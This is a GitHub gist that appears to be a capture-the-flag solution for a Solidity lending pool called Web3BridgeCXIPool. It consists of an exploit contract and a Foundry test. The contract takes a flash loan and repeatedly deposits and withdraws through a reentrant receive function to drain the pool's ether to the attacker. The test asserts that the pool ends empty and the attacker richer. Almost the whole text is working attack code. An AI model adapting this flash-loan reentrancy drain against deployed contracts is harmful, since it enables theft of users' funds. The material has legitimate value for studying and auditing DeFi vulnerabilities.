Skip to content

Instantly share code, notes, and snippets.

@DonGuillotine
Created October 26, 2024 16:38
Show Gist options
  • Save DonGuillotine/c8c6b87d8768b42c3a59e26f6db55bd1 to your computer and use it in GitHub Desktop.
Save DonGuillotine/c8c6b87d8768b42c3a59e26f6db55bd1 to your computer and use it in GitHub Desktop.

Attack Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

import {Web3BridgeCXIPool} from "src/web3bridgecxipool.sol";
import {IFlashLoanEtherReceiver} from "src/web3bridgecxipool.sol";

contract ExploitContract is IFlashLoanEtherReceiver {
    Web3BridgeCXIPool private immutable pool;
    bool private attacking;
    address private owner;
    uint256 private flashLoanAmount;

    constructor(address poolAddress) {
        pool = Web3BridgeCXIPool(poolAddress);
        owner = msg.sender;
    }

    function attack() external {
        require(msg.sender == owner, "Only owner");
        flashLoanAmount = address(pool).balance;
        pool.flashLoan(flashLoanAmount);
        
        pool.withdraw();
        
        payable(owner).transfer(address(this).balance);
    }

    function execute() external payable override {
        if (!attacking) {
            attacking = true;
            flashLoanAmount = msg.value;
            
            pool.deposit{value: msg.value}();
            
            pool.withdraw();
            
            require(address(this).balance >= flashLoanAmount, "Insufficient balance");
            
            pool.deposit{value: flashLoanAmount}();
            
            attacking = false;
        }
    }

    receive() external payable {
        if (attacking) {
            if(address(pool).balance > 0) {
                pool.deposit{value: msg.value}();
                pool.withdraw();
            }
        }
    }
}

The test file

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0; 

import {Utilities} from "../utils/Utilities.sol";
import "forge-std/Test.sol";

import {Web3BridgeCXIPool} from "src/web3bridgecxipool.sol";
import {ExploitContract} from "src/ExploitContract.sol";

contract Web3BridgeCXIPoolTest is Test {
    uint256 internal constant ETHER_IN_POOL = 1_000e18;

    Utilities internal utils;
    Web3BridgeCXIPool internal pool;
    address payable internal attacker;
    uint256 public attackerInitialEthBalance;

    function setUp() public {
        utils = new Utilities();
        address payable[] memory users = utils.createUsers(1);
        attacker = users[0];
        vm.label(attacker, "Attacker");

        pool = new Web3BridgeCXIPool();
        vm.label(address(pool), "Web3 Bridge Lender Pool");

        vm.deal(address(pool), ETHER_IN_POOL);

        assertEq(address(pool).balance, ETHER_IN_POOL);

        attackerInitialEthBalance = address(attacker).balance;

        console.log(unicode"🧨 Let's see if you can break it... 🧨");
    }

    function testExploit() public {
        /**
         * EXPLOIT START *
         */
        console.log("Attacker initial balance:", attackerInitialEthBalance);
        console.log("Pool initial balance:", address(pool).balance);
        
        vm.startPrank(attacker);
        ExploitContract exploiter = new ExploitContract(address(pool));

        exploiter.attack();
        vm.stopPrank();
        
        console.log("Attacker final balance:", address(attacker).balance);
        console.log("Pool final balance:", address(pool).balance);
        /**
         * EXPLOIT END *
         */
        validation();
        console.log(unicode"\n🎉 Congratulations, you have solved it! 🎉");
    }

    function validation() internal view {
        assertEq(address(pool).balance, 0);
        assertGt(attacker.balance, attackerInitialEthBalance);
    }
}

Proof

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment